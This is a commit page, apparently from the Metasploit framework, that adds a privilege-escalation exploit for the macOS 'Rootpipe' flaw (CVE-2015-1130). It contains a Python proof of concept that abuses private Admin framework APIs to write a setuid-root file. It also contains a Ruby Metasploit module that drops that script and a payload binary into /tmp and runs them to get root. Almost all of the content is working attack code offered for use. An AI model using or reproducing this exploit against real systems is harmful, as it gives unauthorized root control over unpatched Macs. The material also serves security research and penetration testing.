Skip to content

Commit c4b7b32

Browse files
committed
Add Rootpipe exploit
1 parent 289e24e commit c4b7b32

File tree

2 files changed

+158
-0
lines changed

2 files changed

+158
-0
lines changed
Lines changed: 73 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,73 @@
1+
########################################################
2+
#
3+
# PoC exploit code for rootpipe (CVE-2015-1130)
4+
#
5+
# Created by Emil Kvarnhammar, TrueSec
6+
#
7+
# Tested on OS X 10.7.5, 10.8.2, 10.9.5 and 10.10.2
8+
#
9+
########################################################
10+
import os
11+
import sys
12+
import platform
13+
import re
14+
import ctypes
15+
import objc
16+
import sys
17+
from Cocoa import NSData, NSMutableDictionary, NSFilePosixPermissions
18+
from Foundation import NSAutoreleasePool
19+
20+
def load_lib(append_path):
21+
return ctypes.cdll.LoadLibrary("/System/Library/PrivateFrameworks/" + append_path);
22+
23+
def use_old_api():
24+
return re.match("^(10.7|10.8)(.\d)?$", platform.mac_ver()[0])
25+
26+
27+
args = sys.argv
28+
29+
if len(args) != 3:
30+
print "usage: exploit.py source_binary dest_binary_as_root"
31+
sys.exit(-1)
32+
33+
source_binary = args[1]
34+
dest_binary = os.path.realpath(args[2])
35+
36+
if not os.path.exists(source_binary):
37+
raise Exception("file does not exist!")
38+
39+
pool = NSAutoreleasePool.alloc().init()
40+
41+
attr = NSMutableDictionary.alloc().init()
42+
attr.setValue_forKey_(04777, NSFilePosixPermissions)
43+
data = NSData.alloc().initWithContentsOfFile_(source_binary)
44+
45+
print "will write file", dest_binary
46+
47+
if use_old_api():
48+
adm_lib = load_lib("/Admin.framework/Admin")
49+
Authenticator = objc.lookUpClass("Authenticator")
50+
ToolLiaison = objc.lookUpClass("ToolLiaison")
51+
SFAuthorization = objc.lookUpClass("SFAuthorization")
52+
53+
authent = Authenticator.sharedAuthenticator()
54+
authref = SFAuthorization.authorization()
55+
56+
# authref with value nil is not accepted on OS X <= 10.8
57+
authent.authenticateUsingAuthorizationSync_(authref)
58+
st = ToolLiaison.sharedToolLiaison()
59+
tool = st.tool()
60+
tool.createFileWithContents_path_attributes_(data, dest_binary, attr)
61+
else:
62+
adm_lib = load_lib("/SystemAdministration.framework/SystemAdministration")
63+
WriteConfigClient = objc.lookUpClass("WriteConfigClient")
64+
client = WriteConfigClient.sharedClient()
65+
client.authenticateUsingAuthorizationSync_(None)
66+
tool = client.remoteProxy()
67+
68+
tool.createFileWithContents_path_attributes_(data, dest_binary, attr, 0)
69+
70+
71+
print "Done!"
72+
73+
del pool
Lines changed: 85 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,85 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit4 < Msf::Exploit::Local
9+
10+
Rank = GreatRanking
11+
12+
include Msf::Post::File
13+
include Msf::Exploit::EXE
14+
include Msf::Exploit::FileDropper
15+
16+
def initialize(info = {})
17+
super(update_info(info,
18+
'Name' => 'Mac OS X "Rootpipe" Privilege Escalation',
19+
'Description' => %q{
20+
This module exploits a hidden backdoor API in Apple's Admin framework on
21+
OS X to escalate privileges to root. Dubbed "Rootpipe."
22+
23+
Tested on Yosemite 10.10.2 and should work on previous versions.
24+
25+
The patch for this issue was not backported to older releases.
26+
},
27+
'Author' => [
28+
'Emil Kvarnhammar', # Vulnerability discovery and PoC
29+
'joev', # Copy/paste monkey
30+
'wvu' # Meta copy/paste monkey
31+
],
32+
'References' => [
33+
['CVE', '2015-1130'],
34+
['EDB', '36692'],
35+
['URL', 'https://truesecdev.wordpress.com/2015/04/09/hidden-backdoor-api-to-root-privileges-in-apple-os-x/']
36+
],
37+
'DisclosureDate' => 'Apr 9 2015',
38+
'License' => MSF_LICENSE,
39+
'Platform' => 'osx',
40+
'Arch' => ARCH_X86_64,
41+
'SessionTypes' => ['shell', 'meterpreter'],
42+
'Targets' => [
43+
['Mac OS X 10.10.2 Yosemite x64 (Native Payload)', {}]
44+
],
45+
'DefaultTarget' => 0
46+
))
47+
end
48+
49+
def check
50+
if ver_lt(osx_ver, '10.10.3')
51+
Exploit::CheckCode::Vulnerable
52+
else
53+
Exploit::CheckCode::Safe
54+
end
55+
end
56+
57+
def exploit
58+
exploit_path = File.join(Msf::Config.data_directory, 'exploits', 'CVE-2015-1130')
59+
python_exploit = File.read(File.join(exploit_path, 'exploit.py'))
60+
binary_payload = Msf::Util::EXE.to_osx_x64_macho(framework, payload.encoded)
61+
exploit_file = "/tmp/#{Rex::Text::rand_text_alpha_lower(12)}"
62+
payload_file = "/tmp/#{Rex::Text::rand_text_alpha_lower(12)}"
63+
64+
print_status("Writing exploit file as '#{exploit_file}'")
65+
write_file(exploit_file, python_exploit)
66+
register_file_for_cleanup(exploit_file)
67+
68+
print_status("Writing payload file as '#{payload_file}'")
69+
write_file(payload_file, binary_payload)
70+
register_file_for_cleanup(payload_file)
71+
72+
print_status('Executing payload...')
73+
cmd_exec("python #{exploit_file} #{payload_file} #{payload_file}")
74+
cmd_exec(payload_file)
75+
end
76+
77+
def osx_ver
78+
cmd_exec('sw_vers -productVersion').to_s.strip
79+
end
80+
81+
def ver_lt(a, b)
82+
Gem::Version.new(a) < Gem::Version.new(b)
83+
end
84+
85+
end

0 commit comments

Comments
 (0)